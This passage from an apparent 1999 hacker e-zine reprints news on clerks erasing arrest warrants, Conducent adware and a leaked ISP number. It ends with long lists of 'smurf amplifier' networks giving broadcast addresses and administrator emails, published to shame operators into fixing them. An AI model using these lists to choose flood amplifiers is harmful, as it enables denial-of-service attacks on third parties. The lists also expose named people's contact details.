      acknowledged, but using his home computer to access the Hotmail account
      made the FBI's job easier.
     
      Caller identification at BellSouth identified a telephone number listed as belonging
      to George Rocha, 4246 Princeton Ave., Greensboro.
     
      AP-ES-11-22-99 0039EST 
      
      @HWA
      
29.0  County Clerks Delete Arrest Warrants 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      Three county clerks, in Dade County Florida, face
      computer tampering charges for allegedly tapping into
      courthouse computers to erase arrest warrants. All
      three clerks where long time employees at the
      courthouse. 

      Miami Sun-Sentinel       
      http://www.sun-sentinel.com/news/daily/detail/0,1136,24500000000135545,00.html
      
      Police: Clerks erased arrest warrants from
      Miami-Dade courthouse computers 

      Associated Press       
      Web-posted: 8:20 a.m. Nov. 23, 1999

      MIAMI -- Three county clerks face computer tampering
      charges for allegedly tapping into courthouse computers to
      erase arrest warrants.
           Miami-Dade Police public corruption detectives on
      Monday arrested Salome C. Rodriguez, Patricia Speights and
      Elsie Darbouze-Jones.
           "These were employees entrusted with access to the
      computer system," said Miami-Dade Police spokesman Juan
      DelCastillo. "This is simple. It isn't for money; it's for their
      own personal benefit."
           Police said Rodriguez, 32, an eight-year county
      employee, allegedly logged into the computer at her Coral
      Gables Courthouse workplace to delete a warrant for her
      arrest. Her legal troubles stemmed from a traffic ticket for
      no car insurance. Her license was suspended and a warrant
      was issued when she didn't pay the ticket.
           Rodriguez was charged with five counts of official
      misconduct because each time she missed a court
      appearance, she'd do it again, DelCastillo said.
           She is also accused of erasing an arrest warrant for a
      man who did not pay a ticket received for failure to yield.
      Police believe the man is her father.
           Speights, 41, and Darbouze-Jones, 27, are accused of
      doing the same thing at another courthouse.
           Supervisors told police Darbouze-Jones got Speights to
      erase a pending warrant against Darbouze-Jones' husband,
      who had five unpaid traffic tickets.
           Speights and Darbouze-Jones received 11 felony counts
      -- one for each time they tampered with a ticket.
           All three clerks were fired, but Speights got her job
      back -- with a demotion.
           Speights and Darbouze-Jones were still in jail Monday. 
           
      @HWA     
      
30.0  Trojan Advertising? 
      ~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Nicole 
      Advertising banners on web sites and within Freeware
      applications such as PKZip can gather information such
      as the applications running on a machine, user names,
      its IP address, and other network related information
      and send that information back to the creator of the
      software. The software is produced by US software firm
      Conducent to gather computer and network information
      by using a stealth application buried within the freeware
      program or banner ad. (If this isn't labeled as a Trojan
      then I lose all faith in the AV industry) 

      ZD Net UK
      http://www.zdnet.co.uk/news/1999/46/ns-11692.html
      
      Conducent       
      http://www.conducent.com/
      
      ZDNET;
      
      Banner 'bug' sucks data through the Web
      Wed, 24 Nov 1999 11:38:33 GMT
      Will Knight
      
      
      Data about apps, IP address and the network are uncovered
      by banner 'bugs' 
      
      Advertising banners produced by US software firm Conducent
      gather computer and network information by using a stealth
      application buried within the freeware program according to
      security newsletter, The Risk Digest. 
      
      Bill Royds, contributor to the Digest, discovered that the
      advertising application provided by Conducent for freeWare
      Windows applications such as PKZIP collects details about a
      user's computer and sends it back to Conducent's headquarters
      when a computer is connected to the Internet. 
      
      Royds says the information includes data on the applications
      running on a machine, as well as its IP address and information
      about the network it is connected to. 
      
      As an example, Royds says PKZIP gathers network IP addresses
      as well as information on NetBIOS. He claims it can also gather
      user names. Royds points out that that this could potentially
      compromise security by revealing IP network status information.
      "This is very similar to the Trojan horses that worry people so
      much. If someone was able to intercept these transmissions they
      could determine internal network and personal information about a
      user. Many users would not install these programs if they realised
      the nature of how the advertising works." 
      
      Royds did intercept that IP information and forwarded it to ZDNet
      UK News. 
      
      Conducent says there is nothing to worry about. A spokeswoman
      for Conducent says computer users are always made aware of the
      personal information they are providing before installation and
      claims Conducent does little more than gather IP addresses. "All
      the Conducent freeware is duly noted as such when installation
      occurs. It is up to the user to take the time to read the installation
      notes wherein the advertising-supported version of the software is
      explained comprehensively." 
      
      The speokeswoman criticises Royd's concerns as excessive.
      "Calling Conducent technology a Trojan, or a virus, assumes we're
      sending files -- or extracting information -- without the user's
      permission. We are not forcing free, ad-supported software on
      users. They are choosing to download it of their own volition, and
      as they so, information about their selection is contained in the
      installation notes." 
      
      According to Robin Bynoe of Charles Russell solicitors, gathering
      IP addresses as well as user names may well contravene European
      data protection regulations as Royd notes. However Conducent
      distributes software via the Internet and has no offices in the UK
      meaning that if a British customer had a complaint there would be
      little chance recourse. Says Bynoe, "If they are located in the US
      and are holding information in the US this comes outside the scope
      of UK law. If they are simply collecting a bank of IP adresses, this
      may not be a breach of the data protection act." 
      
      @HWA
      
31.0  English ISP Mistakenly Gives Out Free Access 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Previously reported as a BT freephone gimmick by the ISP it turns
      out to be an error and free access was not the intention for any
      reason (whups) - Ed
      
      
      From HNN http://www.hackernews.com/

      contributed by no0ne 
      A security breach gave an unknown number of users
      access to the net via City Connection's free fone
      number. City Connection's, a fairly new ISP in England,
      0800 number was published on several newsgroups and
      has finally been shut down. The identity of the person
      who leaked the number is still unknown. 

      The UK Register    
      http://www.theregister.co.uk/991124-000010.html
      

      Posted 24/11/99 2:52pm by Tim Richardson
    
      Net user leap on leaked ISP freefone number
    
      An undisclosed number of Net users managed to gain unauthorised freephone
      access to the Net last night following the leak of confidential information yesterday. 
    
      Although not the most auspicious start to a new venture, Tom Defty, MD of new kid on
      the block ISP City Connections, said that last night's assault only cost the company
      just £254. 
    
      The 0800 number -- published on a variety of newsgroups yesterday -- has now been
      shut down, he said, and he denied that the whole episode was a stunt to seek publicity
      for the service. 
    
      In a statement Defty said: "I am deeply disappointed by this breach of security... but I
      can assure you that the service will still be launching on 1 December." 
    
      At this stage there's still some confusion surrounding the identity of the person who
      originally leaked the 0800 freephone number. Defty said that BT Security told him it
      originated from someone with a "BT Corporate account". 
    
      But a spokesman for BT disputed this. He said he was unaware that the matter had
      even been reported and after investigating the matter said that the person who leaked
      the material was from outside the company. 
    
      That aside, Defty has released information on the new ISP and what it will offer. It
      seems London-based Easynet will provide the backbone to the service and instead of
      using 0845 or 0800 numbers to access City Connections, the ISP will employ 150 '01'
      numbers across the country instead. 
    
      Using phone companies such as NTL, Telewest, C&W, Transnet and Euphony, Defty
      claims this will allow users to be eligible for 'free-call access' during off-peak periods. 
    
      "The service will cost £11.75 per month," said Defty. "But if you have a banner
      (optional) at the bottom of your screen you will receive £10 back per month," he said. 
    
      The ISP has also embarked on a multi-million TV and radio advertising campaign to
      advertise the service, Defty said. ®
      
      @HWA

32.0  SAR Top Ten Smurf Amplifiers for Nov 27th'99
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      This used to be a regular feature sorry i've been lagging behind in my duties
      i've rooted my box and slapped my wrists already tnx - Ed
      
          Current top ten smurf amplifiers (updated every 5 minutes)
          (last update: 1999-11-28 00:26:05 CET)

          Network             #Dups  #Incidents  Registered at     Home AS           
          212.117.160.0/24      373           0  1999-10-27 22:28  not-analyzed      
          195.115.119.64/26     327           0  1999-11-19 20:08  not-analyzed      
          209.233.219.0/24       90           0  1999-06-04 17:56  AS5673            
          194.70.7.0/24          84           0  1999-11-09 11:22  not-analyzed      
          132.230.75.0/24        83           0  1999-11-01 00:49  not-analyzed      
          192.0.0.0/2            73           0  1999-01-04 06:39  not-analyzed      
          128.0.0.0/1            73           0  1999-01-28 02:36  not-analyzed      
          195.210.91.0/24        72           0  1999-01-20 00:44  AS1267            
          128.0.0.0/33           71           0  1998-09-25 18:18  not-analyzed      
          128.0.0.0/225          71           0  1999-02-10 22:16  not-analyzed      
          
          114951 networks have been probed with the SAR
          20049 of them are currently broken
          14173 have been fixed after being listed here 
          
          
                                                 
                                                                                      
      Netscan.org
     
      Top 2048 worst amplifier offenders.                                                                                                                                                  



      Note that it's also possible to see the # of replies for any network. Head to the main page
      and punch in an IP. 
      
      Last rescan: Fri Oct 22 14:33:26 PDT 1999
      
      
      
      RESP      ADDR               EMAIL ADDRESSES
      ---------------------------------------------------------------------
      2697      207.22.212.255     ipadmin@iamerica.net
      448       204.243.120.255    hostinfo@psi.com
      261       199.225.7.0        lind@forum.saic.com
      250       199.1.223.255      quentin@qns.com
      247       207.43.61.255      pflores@wcg.net
      242       207.142.180.255    root@unix.triton.net
      240       167.192.222.255    jda51@state.ga.us
      155       207.204.52.0       rwarren@netusa.net
      148       209.84.85.255      ipadmin@gte.net
      132       205.169.216.0      postmaster@garfield.k12.co.us
      125       199.250.180.255    dnstech@eni.net
      123       209.115.108.255    tstroup@fnsi.net
      122       207.202.127.255    noc@corp.idt.net
      122       207.235.88.255     rickyc@world-net.net
      122       209.246.218.255    ipadmin@level3.net
      120       195.184.38.255     hein@euroconnect.net
      117       205.169.211.0      postmaster@garfield.k12.co.us
      114       199.251.102.255    lind@forum.saic.com
      112       205.154.156.255    nes@4c.net
      107       205.221.196.255    hikep@urbandale.k12.ia.us
      106       205.221.196.0      hikep@urbandale.k12.ia.us
      105       207.177.41.0       noc@netins.net
      105       207.177.41.255     noc@netins.net
      104       207.127.47.255     gorlo@enet.com
      102       205.221.198.0      hikep@urbandale.k12.ia.us
      102       205.221.198.255    hikep@urbandale.k12.ia.us
      102       205.221.199.0      hikep@urbandale.k12.ia.us
      101       205.221.199.255    hikep@urbandale.k12.ia.us
      100       207.127.47.0       gorlo@enet.com
      98        208.0.211.255      NOC@sprint.net
      97        205.154.156.0      nes@4c.net
      92        216.14.26.255      john@telepath.com
      90        209.37.134.255     breig@buffnews.com
      86        209.20.39.255      netadmin@interlog.net
      82        209.140.163.0      darin@good.net
      80        200.29.38.0        aaraya@novared.cl
      79        200.29.38.255      aaraya@novared.cl
      74        209.140.163.255    darin@good.net
      72        209.37.134.0       breig@buffnews.com
      71        193.48.166.0       Michel.Leduc@univ-lehavre.fr,
                                  Serge.Huberson@univ-lehavre.fr
      71        205.169.214.0      postmaster@garfield.k12.co.us
      70        207.165.185.0      dave.klinkefus@icn.state.ia.us
      68        207.28.48.255      dave.klinkefus@icn.state.ia.us
      68        207.28.48.0        dave.klinkefus@icn.state.ia.us
      64        207.230.219.255    network@centurytel.com
      62        209.212.162.255    hostmaster@rhythms.net
      61        209.152.182.255    domain@slip.net
      60        209.106.20.0       ben@more.net
      59        167.199.95.0       jda51@state.ga.us
      58        216.20.92.0        jcoco@mec.edu
      57        204.48.169.0       tuma@ceo.sbceo.k12.ca.us
      57        205.253.196.255    karl@mcs.com
      57        209.73.88.255      hostmaster@digilink.net
      57        209.17.207.255     dns@america.net
      56        193.48.166.255     Michel.Leduc@univ-lehavre.fr,
                                  Serge.Huberson@univ-lehavre.fr
      56        204.48.142.0       tuma@ceo.sbceo.k12.ca.us
      56        209.56.232.0       tdao@aea11.k12.ia.us
      56        209.56.232.255     tdao@aea11.k12.ia.us
      56        208.129.177.255    nomailbox@nowhere
      56        207.194.160.255    domains@bctel.net
      54        216.102.167.0      ip-admin@pbi.net
      54        207.225.159.255    dns-info@uswest.net
      53        198.233.12.0       Don@arapahoe.edu
      53        207.213.205.255    andy@ssw1.com
      53        207.224.249.0      dlongar@uswest.net
      53        207.165.185.255    dave.klinkefus@icn.state.ia.us
      53        207.28.60.0        dave.klinkefus@icn.state.ia.us
      52        204.48.223.0       tuma@ceo.sbceo.k12.ca.us
      52        206.150.74.255     walker@scsn.net
      52        207.177.95.0       noc@netins.net
      52        207.177.95.255     noc@netins.net
      52        209.167.171.255    chris@tntech.com
      52        207.28.60.255      dave.klinkefus@icn.state.ia.us
      52        210.68.152.255
      52        208.202.118.255    jokage@gate.net
      51        199.103.248.0      dnsmaster@terra.net
      50        199.251.102.0      lind@forum.saic.com
      50        208.223.170.255    kambach@brearley.org
      50        216.102.245.0
      49        209.63.26.255      bradw@tlg.com
      48        216.20.20.255      jcoco@mec.edu
      48        209.73.236.255     hostmaster@pfmc.net
      48        216.101.206.0      ip-admin@pbi.net
      47        202.98.5.255       dmkou@publicf.bta.net.cn, yzxu@publicf.bta.net.cn
      47        207.152.126.0      Postmaster@popmail.jba.com
      47        207.152.126.255    Postmaster@popmail.jba.com
      47        209.56.235.0       tdao@aea11.k12.ia.us
      46        202.232.119.0      hostmaster@nic.ad.jp
      46        202.232.119.255    hostmaster@nic.ad.jp
      46        209.21.155.255     hostmaster@harvard.net
      46        216.20.20.0        jcoco@mec.edu
      46        207.60.165.255     hostmaster@tiac.net
      46        206.66.243.0       daniel@webdimensions.com
      46        206.66.243.255     daniel@webdimensions.com
      46        208.245.231.0      help@uunet.uu.net
      45        204.158.26.0       D.Nash@utexas.edu
      45        204.158.26.255     D.Nash@utexas.edu
      45        209.56.78.0        tdao@aea11.k12.ia.us
      44        193.14.29.0
      44        198.233.12.255     Don@arapahoe.edu
      44        198.64.21.0        hostmaster@sesqui.net
      44        198.64.21.255      hostmaster@sesqui.net
      44        198.64.22.0        hostmaster@sesqui.net
      44        198.64.22.255      hostmaster@sesqui.net
      44        208.192.109.255    u09477@serinocoyne.com
      43        192.160.217.255    greenup@whittier.edu
      43        205.118.50.0       mcleary@uen.org
      43        205.118.50.255     mcleary@uen.org
      43        207.165.137.0      dave.klinkefus@icn.state.ia.us
      43        207.91.84.0        charlie_daneri@jeffersongroup.com
      43        207.109.43.0       dns-info@uswest.net
      43        207.63.253.0       twilliams@lth6.k12.il.us
      43        207.63.254.0       twilliams@lth6.k12.il.us
      43        207.63.253.255     twilliams@lth6.k12.il.us
      43        207.63.254.255     twilliams@lth6.k12.il.us
      42        209.3.130.0        wkrug@atlnet.org
      42        209.76.77.0        emorton@shastalink.k12.ca.us
      42        209.76.77.255      emorton@shastalink.k12.ca.us
      42        209.249.2.0        noc@above.net
      42        209.249.2.255      noc@above.net
      42        209.55.73.0        jimp@brandx.net
      41        198.60.134.0       hall@sandbox.net
      41        198.60.134.255     hall@sandbox.net
      41        206.0.199.0        hostinfo@psi.com
      41        207.213.205.0      andy@ssw1.com
      40        192.160.217.0      greenup@whittier.edu
      40        192.204.76.255
      40        203.95.7.255       zao@stn.sh.cn, sqian@fudan.edu.cn
      40        205.143.124.255    rtesta@gia.org
      40        207.90.230.255     dnsmaster@infohwy.com
      40        207.90.230.0       dnsmaster@infohwy.com
      40        207.240.141.255    hostmaster@inch.com
      40        207.240.141.0      hostmaster@inch.com
      40        209.56.235.255     tdao@aea11.k12.ia.us
      39        199.208.243.0      APONTEJ@navstarr.navy.mil
      39        199.208.243.255    APONTEJ@navstarr.navy.mil
      39        199.73.39.255      hostmaster@clark.net
      39        203.139.106.255    hostmaster@nic.ad.jp
      39        205.66.98.0        STEVE.GREUNKE@ncts.navy.mil
      39        206.136.58.0       mpc@mbsmm.com
      39        207.1.177.0        dspeed@midusa.net
      39        210.74.232.0       std-gm@online.sh.cn, std-gm@online.sh.cn
      39        208.136.70.0       steven_dudley@brunswick.pvt.k12.ct.us
      39        208.136.70.255     steven_dudley@brunswick.pvt.k12.ct.us
      38        198.233.47.255     danahay@ghs.gunnison.k12.co.us
      38        199.208.84.0
      38        204.69.110.0       wong@accesscom.net
      38        205.169.212.0      postmaster@garfield.k12.co.us
      38        207.100.46.255     hostmaster@icix.net
      38        216.111.166.0      noc@qwest.net
      38        207.196.81.0       hostmaster@clark.net
      38        206.77.203.0       D.Nash@utexas.edu
      38        206.77.203.255     D.Nash@utexas.edu
      38        209.184.150.0      hostmaster@swbell.net
      38        207.15.44.0        nomailbox@nowhere
      38        207.15.44.255      nomailbox@nowhere
      37        164.47.171.255     Mark.Montanez@pcc.cccoes.edu
      37        204.181.85.255     jbuchle@staktek.com
      37        204.186.98.255     dns-request@ptd.net
      37        205.66.98.255      STEVE.GREUNKE@ncts.navy.mil
      37        206.0.199.255      hostinfo@psi.com
      37        209.63.86.255      kmiller@mhz.com
      37        209.7.135.255      wdahlen@mail.isbe.state.il.us
      37        209.113.149.0      dhoyt@hoyt.com
      37        208.168.82.255     johnf@banet.net
      37        208.130.41.0       steven_dudley@brunswick.pvt.k12.ct.us
      37        209.152.31.0       hortonh@ednet10.net
      37        209.76.78.0        emorton@shastalink.k12.ca.us
      37        209.76.78.255      emorton@shastalink.k12.ca.us
      36        24.7.20.255        noc@noc.home.net
      36        194.57.84.0        Patrice.Koch@univ-fcomte.fr
      36        202.184.229.0
      36        202.247.6.0        hostmaster@nic.ad.jp
      36        204.170.91.0       ens@home.nrhm.cc.pa.us
      36        204.170.91.255     ens@home.nrhm.cc.pa.us
      36        205.221.147.0      grpjl@iastate.edu
      36        205.221.147.255    grpjl@iastate.edu
      36        206.13.101.0       nomailbox@nowhere
      36        206.13.101.255     nomailbox@nowhere
      36        206.13.99.0        gowen@keyinfo.com
      36        206.158.44.255     Allen@afmiller.com
      36        210.17.1.0         dengwei@access.ttn.com.tw
      36        216.111.167.255    noc@qwest.net
      36        208.133.75.0       noc@megsinet.net
      36        208.133.76.0       noc@megsinet.net
      36        208.133.87.0       noc@megsinet.net
      36        208.133.75.255     noc@megsinet.net
      36        208.133.76.255     noc@megsinet.net
      36        208.207.33.0       noc@bigplanet.net
      36        209.80.138.0       tom_plati@wellesley.mec.edu
      36        208.157.126.0      rodneyl@ctlnet.com
      36        216.103.13.0       ip-admin@pbi.net
      36        209.76.22.0        kenny@twnetwork.com
      36        207.104.102.0      support@access1.net
      36        207.104.103.0      support@access1.net
      36        207.104.109.0      nomailbox@nowhere
      36        216.100.214.0      sysadmin@access1.net
      36        209.76.22.255      kenny@twnetwork.com
      36        207.104.102.255    support@access1.net
      36        207.104.103.255    support@access1.net
      36        207.104.109.255    nomailbox@nowhere
      36        216.100.214.255    sysadmin@access1.net
      36        209.7.135.0        wdahlen@mail.isbe.state.il.us
      36        216.88.175.255     scotts@blairlake.com
      36        210.74.232.255     std-gm@online.sh.cn, std-gm@online.sh.cn
      36        208.236.180.0      martyr@acr.org
      36        209.184.150.255    hostmaster@swbell.net
      36        216.94.12.0        kasper@telehub.com
      36        209.47.203.0       registrar@uunet.ca
      35        195.90.31.255      guardian@isb.net, nerge@isb.net
      35        198.233.47.0       danahay@ghs.gunnison.k12.co.us
      35        202.102.32.0       dmkou@publicf.bta.net.cn,
                                  pearl.m@public1.ptt.js.cn
      35        202.102.32.255     dmkou@publicf.bta.net.cn,
                                  pearl.m@public1.ptt.js.cn
      35        207.10.165.0       rcm@mmc.marymt.edu
      35        216.88.175.0       scotts@blairlake.com
      35        207.10.165.255     rcm@mmc.marymt.edu
      35        207.136.233.0      topher@madriver.com
      35        209.232.131.0      ip-admin@pbi.net
      35        209.232.131.255    ip-admin@pbi.net
      35        209.47.228.0       chris@tntech.com
      35        208.224.40.255     dsoria@leaco.net
      35        207.125.25.0       ip-mgr@mail.state.tn.us
      35        209.113.148.0      dhoyt@hoyt.com
      35        208.9.33.0         nomailbox@nowhere
      35        208.9.41.0         nomailbox@nowhere
      35        208.9.33.255       nomailbox@nowhere
      35        208.9.43.255       nomailbox@nowhere
      34        164.47.171.0       Mark.Montanez@pcc.cccoes.edu
      34        202.219.144.0      technical@apnic.net
      34        203.26.109.255     hostmaster@telstra.net
      34        204.60.81.0        cmiller@snet.net
      34        205.178.75.0       dave@brainstorm.net
      34        205.213.150.255    nic@mail.wiscnet.net
      34        206.166.215.0      mwilliam@ptc.dcs.edu
      34        207.177.77.255     noc@netins.net
      34        206.205.105.0      noc@digex.net
      34        207.163.162.0      hostmaster@alameda-coe.k12.ca.us
      34        209.3.130.255      wkrug@atlnet.org
      34        210.145.18.255     hostmaster@nic.ad.jp
      34        206.99.18.0        dsmith@ns.uoregon.edu
      34        206.99.18.255      dsmith@ns.uoregon.edu
      34        209.141.228.0      admin@trilobyte.net
      34        209.141.229.0      admin@trilobyte.net
      34        208.9.43.0         nomailbox@nowhere
      34        208.9.41.255       nomailbox@nowhere
      33        161.223.163.0
      33        195.90.31.0        guardian@isb.net, nerge@isb.net
      33        199.72.94.0        hostmaster@interpath.net
      33        199.72.95.0        hostmaster@interpath.net
      33        199.72.95.255      hostmaster@interpath.net
      33        199.72.96.0        hostmaster@interpath.net
      33        199.72.96.255      hostmaster@interpath.net
      33        199.98.170.255     hostinfo@psi.com
      33        204.178.107.255    danny@akamai.com
      33        204.178.110.0      danny@akamai.com
      33        205.216.169.0      sei@vidpbx.com
      33        205.216.169.255    sei@vidpbx.com
      33        207.223.132.255    Louis_Lee@icgcomm.com
      33        207.223.132.0      Louis_Lee@icgcomm.com
      33        207.177.7.0        noc@netins.net
      33        207.177.77.0       noc@netins.net
      33        207.165.137.255    dave.klinkefus@icn.state.ia.us
      33        208.168.246.255    kenwhit@remc8.k12.mi.us
      33        208.227.145.0      spell@wilmington.net
      33        208.227.144.255    spell@wilmington.net
      33        210.141.237.0      hostmaster@nic.ad.jp
      33        209.187.17.0       dns@cerf.net
      33        209.63.86.0        kmiller@mhz.com
      33        209.56.78.255      tdao@aea11.k12.ia.us
      33        207.28.180.0       dave.klinkefus@icn.state.ia.us
      32        161.223.42.255
      32        192.174.57.0
      32        192.174.57.255
      32        192.211.32.255     sawise@mindspring.com, wise@widedata.com
      32        195.13.14.0        jmvl@belbone.net, igor@sportmans.com,
      igor@medelec.uia.ac.be
      32        199.105.221.0      dns@cerf.net
      32        202.102.13.255     dmkou@publicf.bta.net.cn,
      pearl.m@public1.ptt.js.cn
      32        202.99.41.0
      32        204.158.119.0      gjenere@tenet.edu
      32        204.158.119.255    gjenere@tenet.edu
      32        205.213.150.0      nic@mail.wiscnet.net
      32        206.166.208.0      mwilliam@ptc.dcs.edu
      32        206.170.111.255    dnsadmin@pbi.net
      32        207.177.7.255      noc@netins.net
      32        207.163.162.255    hostmaster@alameda-coe.k12.ca.us
      32        210.161.135.0      hostmaster@nic.ad.jp
      32        207.109.111.0      dns-info@uswest.net
      32        207.196.81.255     hostmaster@clark.net
      32        207.109.111.255    dns-info@uswest.net
      32        207.109.43.255     dns-info@uswest.net
      32        209.132.109.0      garyq@wpds.com
      32        209.132.109.255    garyq@wpds.com
      32        207.250.88.0       hostmaster@inc.net
      32        206.222.96.0       diane.rowe@espire.net
      32        212.32.168.0       info@norrnod.se, hakan@bostaden.umea.se
      32        207.250.88.255     hostmaster@inc.net
      32        212.32.168.255     info@norrnod.se, hakan@bostaden.umea.se
      32        209.47.228.255     chris@tntech.com
      32        212.32.167.0       info@norrnod.se, hakan@bostaden.umea.se
      32        208.215.55.0       bo@quicklink.com
      32        208.154.220.0      jon@thoughtbubble.com
      32        208.154.220.255    jon@thoughtbubble.com
      32        207.109.112.255    dns-info@uswest.net
      32        207.109.112.0      dns-info@uswest.net
      32        207.215.109.255    ichuang@netvip.com
      32        208.130.41.255     steven_dudley@brunswick.pvt.k12.ct.us
      32        216.51.58.0        technical@kivex.com
      32        212.32.164.255     info@norrnod.se, hakan@bostaden.umea.se
      31        161.223.163.255
      31        161.223.42.0
      31        169.139.30.0       hostmaster@mail.firn.edu
      31        193.13.234.0
      31        198.233.14.0       Don@arapahoe.edu
      31        199.111.105.0      jaj@virginia.edu
      31        203.2.75.255       mark@cristal.syd.pronet.com
      31        204.32.80.0        bille@petersons.com
      31        205.169.44.0       wgrendle@csn.net
      31        205.187.39.255     Louis_Lee@icgcomm.com
      31        205.221.104.0      grpjl@iastate.edu
      31        205.221.104.255    grpjl@iastate.edu
      31        205.231.58.255     help@uunet.uu.net
      31        205.232.18.0       denz@ria.org
      31        205.232.18.255     denz@ria.org
      31        205.245.2.255      dns-admin@utelfla.com
      31        206.166.215.255    mwilliam@ptc.dcs.edu
      31        207.214.142.255    kgibbs@porterville.k12.ca.us
      31        207.91.84.255      charlie_daneri@jeffersongroup.com
      31        210.161.135.255    hostmaster@nic.ad.jp
      31        209.47.235.0       pamela@ebean.com
      31        209.47.235.255     pamela@ebean.com
      31        209.132.105.0      garyq@wpds.com
      31        209.233.200.0      ip-admin@pbi.net
      31        209.233.200.255    ip-admin@pbi.net
      31        209.232.140.0      ip-admin@pbi.net
      31        209.232.140.255    ip-admin@pbi.net
      31        209.152.31.255     hortonh@ednet10.net
      31        212.32.164.0       info@norrnod.se, hakan@bostaden.umea.se
      31        212.32.165.0       info@norrnod.se, hakan@bostaden.umea.se
      31        212.32.165.255     info@norrnod.se, hakan@bostaden.umea.se
      30        63.64.107.0        jshelnutt@ispalliance.net
      30        63.64.107.255      jshelnutt@ispalliance.net
      30        169.139.30.255     hostmaster@mail.firn.edu
      30        192.204.76.0
      30        193.13.234.255
      30        195.232.126.0      hostmaster@wcom.net
      30        199.111.105.255    jaj@virginia.edu
      30        202.238.79.0       hostmaster@nic.ad.jp
      30        202.238.79.255     hostmaster@nic.ad.jp
      30        203.36.239.0       hostmaster@telstra.net
      30        204.184.38.255     ben@more.net
      30        204.243.42.0       hostinfo@psi.com
      30        204.26.36.0
      30        205.245.2.0        dns-admin@utelfla.com
      30        207.17.200.0       avnet@radicalmedia.com
      30        208.234.147.0      nomailbox@nowhere
      30        209.48.15.0        dns@digex.net
      30        208.10.133.0       nomailbox@nowhere
      30        216.100.227.255    ip-admin@pbi.net
      30        208.150.32.0       noc@megsinet.net
      30        212.32.167.255     info@norrnod.se, hakan@bostaden.umea.se
      30        208.20.180.0       aweisblatt@diefenbachelkins.com
      30        209.113.148.255    dhoyt@hoyt.com
      30        209.113.149.255    dhoyt@hoyt.com
      30        209.85.22.0        hostmaster@softaware.com
      30        212.32.166.255     info@norrnod.se, hakan@bostaden.umea.se
      30        209.106.20.255     ben@more.net
      30        209.215.112.0      ipadmin@bellsouth.net
      29        193.140.136.0      root@risc01.bim.gantep.edu.tr
      29        193.140.196.0      ozturanm@boun.edu.tr, baysalc@boun.edu.tr
      29        193.140.196.255    ozturanm@boun.edu.tr, baysalc@boun.edu.tr
      29        198.64.44.0        hostmaster@sesqui.net
      29        198.76.85.0        dmcginni@ndu.edu
      29        198.76.85.255      dmcginni@ndu.edu
      29        199.72.140.255     hostmaster@interpath.net
      29        202.102.138.255    dmkou@publicf.bta.net.cn, zxf@pub.sd.cninfo.net
      29        202.104.151.0
      29        202.96.155.0
      29        205.160.84.0       NOC@sprint.net
      29        205.160.84.255     NOC@sprint.net
      29        205.227.63.255     lgoodman@iacnet.com
      29        206.166.208.255    mwilliam@ptc.dcs.edu
      29        208.218.96.0       mitch@gvtc.com
      29        208.218.97.0       mitch@gvtc.com
      29        208.218.96.255     mitch@gvtc.com
      29        209.140.19.0       darin@good.net
      29        209.133.61.255     noc@above.net
      29        216.111.115.0      DLAURA@icsa.com
      29        207.13.60.0        dnsadmin@sig.net
      29        208.237.105.0      rwilhe@luk-us.com
      29        209.7.177.0        wdahlen@mail.isbe.state.il.us
      29        208.235.248.0      pokeefe@checkfree.com
      29        209.7.177.255      wdahlen@mail.isbe.state.il.us
      29        208.235.248.255    pokeefe@checkfree.com
      29        208.200.99.0       lolszewski@spyglass.com
      29        208.200.99.255     lolszewski@spyglass.com
      29        207.96.117.0       domreg@erols.com
      29        207.96.117.255     domreg@erols.com
      29        207.100.21.0       hostmaster@icix.net
      29        209.140.26.0       david@discom.net
      29        206.72.158.0       david@discom.net
      29        207.100.21.255     hostmaster@icix.net
      29        207.177.74.255     noc@netins.net
      29        206.72.158.255
      29        207.177.74.0       noc@netins.net
      29        209.39.117.0       netadmin@onramp.net
      29        216.146.128.255    mike@bwn.net
      29        212.109.0.0        fredrik.graff@powernet.se,
                                  rune.gunnarsson@powernet.se,
                                  martin.andell@powernet.se
      29        209.79.64.0        nomailbox@nowhere
      29        209.79.64.255      nomailbox@nowhere
      29        212.32.166.0       info@norrnod.se, hakan@bostaden.umea.se
      28        192.160.219.255    greenup@whittier.edu
      28        193.45.251.0       Bertil.Hanses@trema.com
      28        193.48.165.0       Michel.Leduc@univ-lehavre.fr,
                                  Serge.Huberson@univ-lehavre.fr
      28        193.51.48.0        meunier@ensam.decnet.citilille.fr,
                                  mmeunier@mediartis.fr
      28        193.51.48.255      meunier@ensam.decnet.citilille.fr,
                                  mmeunier@mediartis.fr
      28        193.51.50.255
      28        193.52.147.255     Gerard.Lietout@univ-rouen.fr
      28        193.74.176.0       mdevos@argo.be,
                                  Francois.Wouters@gemeenschapsonderwijs.be
      28        193.74.176.255     mdevos@argo.be,
                                  Francois.Wouters@gemeenschapsonderwijs.be
      28        194.151.209.255    said@interclimax.com
      28        198.233.14.255     Don@arapahoe.edu
      28        200.23.40.0        jescalera@mail.nl.gob.mx
      28        202.102.30.0       dmkou@publicf.bta.net.cn,
                                  pearl.m@public1.ptt.js.cn
      28        204.186.98.0       dns-request@ptd.net
      28        204.248.144.0      NOC@sprint.net
      28        204.248.144.255    NOC@sprint.net
      28        204.26.36.255
      28        204.33.167.0       dpp@athena.com
      28        204.6.136.0        hostinfo@psi.com
      28        205.232.52.255     rcm@mmc.marymt.edu
      28        206.140.86.255     lak@aads.net
      28        209.140.19.255     darin@good.net
      28        216.50.134.0       technical@kivex.com
      28        216.111.115.255    DLAURA@icsa.com
      28        208.157.56.0       alif@unibaseinc.com
      28        216.115.160.0      alif@unibaseinc.com
      28        208.157.59.255     alif@unibaseinc.com
      28        216.115.160.255    alif@unibaseinc.com
      28        208.139.68.0       bharvey@atmi.com
      28        208.139.68.255     bharvey@atmi.com
      28        208.198.61.255     noc@atlantech.net
      28        207.155.93.255     hostmaster@softaware.com
      28        209.39.24.255      netadmin@onramp.net
      28        207.115.54.0       harrycw@prodigy.net
      28        207.115.54.255     harrycw@prodigy.net
      28        209.226.149.0      noc@in.bell.ca
      28        208.147.191.0      cdc@groupz.net
      28        208.147.191.255    cdc@groupz.net
      28        208.150.32.255     noc@megsinet.net
      28        210.227.226.0      hostmaster@nic.ad.jp
      28        209.226.149.255    noc@in.bell.ca
      28        208.13.18.255      nomailbox@nowhere
